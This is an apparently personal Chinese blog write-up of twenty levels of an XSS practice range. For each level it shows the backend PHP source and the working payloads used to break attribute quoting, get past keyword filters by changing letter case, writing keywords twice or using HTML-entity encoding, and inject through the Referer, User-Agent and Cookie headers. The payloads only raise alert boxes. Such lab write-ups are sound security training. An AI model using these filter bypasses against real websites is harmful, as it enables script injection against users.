xss靶场详解

一个XSS靶场练习记录
https://blog.csdn.net/qq_41500251/article/details/101116697


001.level 1 反射型

1、观察源码

<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>

修改?name=<script>alert()</script>即可

002.level 2

1、测试输入
输入123
输出
全部输出

输入特殊字符
'<>?\"/6666
查看页面源码
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219194808.png?1609079862970
实体化了< > "

2、尝试构造payload
原:<input name=keyword value="123">
payload:" onclick=alert("xss")>
成功弹窗

疑问:为什么我使用了过滤的字符,依旧可以执行呢?
查看后台源码

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>

可以发现,没有找到和".htmlspecialchars($str)."相关的结果,使用了过滤,而<input name=keyword value="'.$str.'">并没有过滤,即,该题是伪过滤,

总结找到鼠标单击的区域的方:
$\color{red}{右键打开firebug查看元素}$

003.level 3

1、测试输入
输入123
查看页面源码
<input name=keyword value='123'>

输入特殊字符
'<>?\:"/6666
查看页面源码
<input name=keyword value=''&lt;&gt;?\:&quot;/6666'>
对< > "过滤

2、尝试构造payload
'onclick=alert(0) '
再点击搜索框即可

004.level 4

1、测试输入
输入123
查看页面源码
<input name=keyword value="123">
易知需要”闭合

输入特殊字符
'<>?\:"/6666
查看页面源码
app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219213502.png?1609079862997
过滤了< >

2、构造payload
" onclick=alert(0)
通过

3、查看后端源码

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

005.level 5

1、测试输入
输入123
查看页面源码
易知需要 ” 闭合

输入特殊字符
'<>?\:"/6666
没有进行过滤

2、构造payload
<script>alert(1)</script>
没有弹窗,查看页面源码
<input name=keyword value="" <scr_ipt>alert(1)</script> ">
发现script中间插入 _

使用其他方法绕过
" onclick=alert(0)
查看页面源码
<input name=keyword value="" o_nclick=alert(0) ">
发现on中间插入 _

使用其他方法绕过
> <a href='javascript:alert(0)'>111</a>

006.level 6

1、测试输入
输入123456
查看页面源码
易知需要 ” 闭合

输入特殊字符
'<>?\:"/6666
没有进行过滤
页面源码

<h2 align=center>没有找到和123456相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword  value="123456">

2、构造payload
" > <script>alert(1)</script>
页面显示

<form action=level6.php method=GET>
<input name=keyword  value="" > <scr_ipt>alert(1)</script> ">

可知关键字script被过滤了

尝试绕过
" > <ScRipt>alert(1)</sCript>
成功

007.level 7

1、测试输入
输入123456
查看页面源码
易知需要 ” 闭合

输入特殊字符
'<>?\:"/6666
没有进行过滤

输入关键字
script on src data href
页面源码

<form action=level7.php method=GET>
<input name=keyword  value="        ">

全部替换成空

尝试大小写绕过
sCripT On sRc dAta Href
同样全部替换成空

2、构造payload
" > <scrscriptipt>alert(1)</sscriptcript>
成功

008.level 8

1、测试输入
输入123456
查看页面源码
</center><center><BR><a href="123456">友情链接</a></center><center>
易知需要 ” 闭合

输入特殊字符
'<>?\:"/6666
查看页面源码
</center><center><BR><a href="'<>?\:&quot/6666">友情链接</a></center><center>
过滤了 "

输入关键字 并大小写
script sCripT on On src sRc data dAta href Href
全部过滤了
</center><center><BR><a href="scr_ipt o_n sscr_ipt scr_ipt o_n o_n sr_c sr_c da_ta da_ta hr_ef hr_efrc da_ta hr_ef">友情链接</a></center><center>

尝试双写绕过
scrscriptipt oonn ssrcrc ddataata hhrefref
全部过滤了
</center><center><BR><a href="scrscr_iptipt oo_nn ssr_crc dda_taata hhr_efref">友情链接</a></center><center><img src=level8.jpg></center>

尝试使用HTML实体编码绕过
&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;
成功弹窗

另外一种解法
对一下进行HTML编码
>友情链接</a></center><center><img src=level8.jpg></center> <script>alert(0)</script>
&#x3E;&#x53CB;&#x60C5;&#x94FE;&#x63A5;&#x3C;&#x2F;&#x61;&#x3E;&#x3C;&#x2F;&#x63;&#x65;&#x6E;&#x74;&#x65;&#x72;&#x3E;&#x3C;&#x63;&#x65;&#x6E;&#x74;&#x65;&#x72;&#x3E;&#x3C;&#x69;&#x6D;&#x67;&#x20;&#x73;&#x72;&#x63;&#x3D;&#x6C;&#x65;&#x76;&#x65;&#x6C;&#x38;&#x2E;&#x6A;&#x70;&#x67;&#x3E;&#x3C;&#x2F;&#x63;&#x65;&#x6E;&#x74;&#x65;&#x72;&#x3E;&#x20;&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x30;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;
失败,不知为什么。。

009.level 9

1、测试输入
输入123456
查看页面源码
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
进行过滤了

输入特殊字符
'<>?\:"/6666
查看页面源码
</center><center><BR><a href="您的链接不合法?有没有!">友情链接</a></center><center><img src=level9.png></center>
进行过滤了

不太对劲,查看后台源码

if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}

会检查是否存在http://

2、构造payload
javascript:alert("http:// ")
发现对script进行过滤
java&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(&#x22;http:// &#x22;)
成功

010.level 10

1、测试输入
输入123456
查看页面源码

<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和123456!相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>

查看后台源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

发现后台获取两个参数,且t_sort可以利用,并且过滤了< >字符

2、构造payload

?t_sort=0" onclick=alert(1) type="text"

011.level 11

1、猜测同上一题
查看后台源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

可知,后台从http请求头获得了referer参数

2、构造payload
" onmouseover=alert(11) type="text"

012.level 12

1、查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

从HTTP_USER_AGENT获得参数值

2、构造payload
" onmouseover=alert(0) type=""

013.level 13

1、查看源码

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

从cookie中获得user参数的值

2、构造payload
" onmouseover=alert(0) type=""

014.level 14

查看教程
这关是利用修改exif信息,在exif信息中写入xss代码,然后上传上去,别人点击这个图片就会中招。

暂时跳过

015.level 15

1、查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

ng-include指令用于包含外部的 HTML 文件。即'.htmlspecialchars($str).'

2、构造payload
?src='./level1.php'
失败,暂时跳过

016.level 16

1、刷新,抓包,
<center>test</center><center><img src=level16.png></center>

没办法,只好看后台源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

先小写,过滤script,空格,/

2、构造payload
?keyword=<svg%0aonload=alert(0) ></svg>
?keyword=<svg%0onmouseover=alert(0) ></svg>

017.level 17

1、观察url,测试输入
?arg01=123&arg02=456
页面源码
<embed src=xsf01.swf?123=456 width=100% heigth=100%>

输入特殊字符
?arg01='<>?\:"/6666&arg02='<>?\:"/6666
页面源码
<embed src=xsf01.swf?'&lt;&gt;?\:&quot;/6666='&lt;&gt;?\:&quot;/6666 width=100% heigth=100%>
易知过滤了< > "

输入关键字
?arg01=script sCripT on On src sRc data dAta href Href&arg02=456
页面源码
<embed src=xsf01.swf?script sCripT on On src sRc data dAta href Href=456 width=100% heigth=100%>

2、构造payload
?arg01=123&arg02=456 onclick=alert(0)
成功

018.level 18

解题过程同上

019.level 19

1、观察url,测试输入
?arg01=123&arg02=456
页面源码
<embed src="xsf03.swf?123=456" width=100% heigth=100%>

2、查资料,这个是flash xss,涉及到反编译,
解题连接
https://www.jianshu.com/p/4e3a517bc4ea
后台源码

<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

3、详细过程
使用硕思闪客精灵
将xsf03.swf导出为HTML5文件
大致内容如下

<!DOCTYPE HTML>
<html>

<head>
<style>*{margin:0;padding:0;}</style>
<meta charset="utf-8" />
<title></title>
</head>

<body style="overflow:hidden;">

<script>var data ={"Bg":"#FFFFFF","FV":"8","Fc":"1","Fh":"100","Fr":30.0,"Fw":"300","Ft":{"xi":0,"xm":300,"yi":0,"ym":100}....}
</script>
<script src="sprite.js"></script>

</body>
</html>

并没有找到有用的信息
跳过

020.level 20

跳过

posted @ 2020-12-27 22:41  GorillaLee  阅读(897)  评论(0编辑  收藏  举报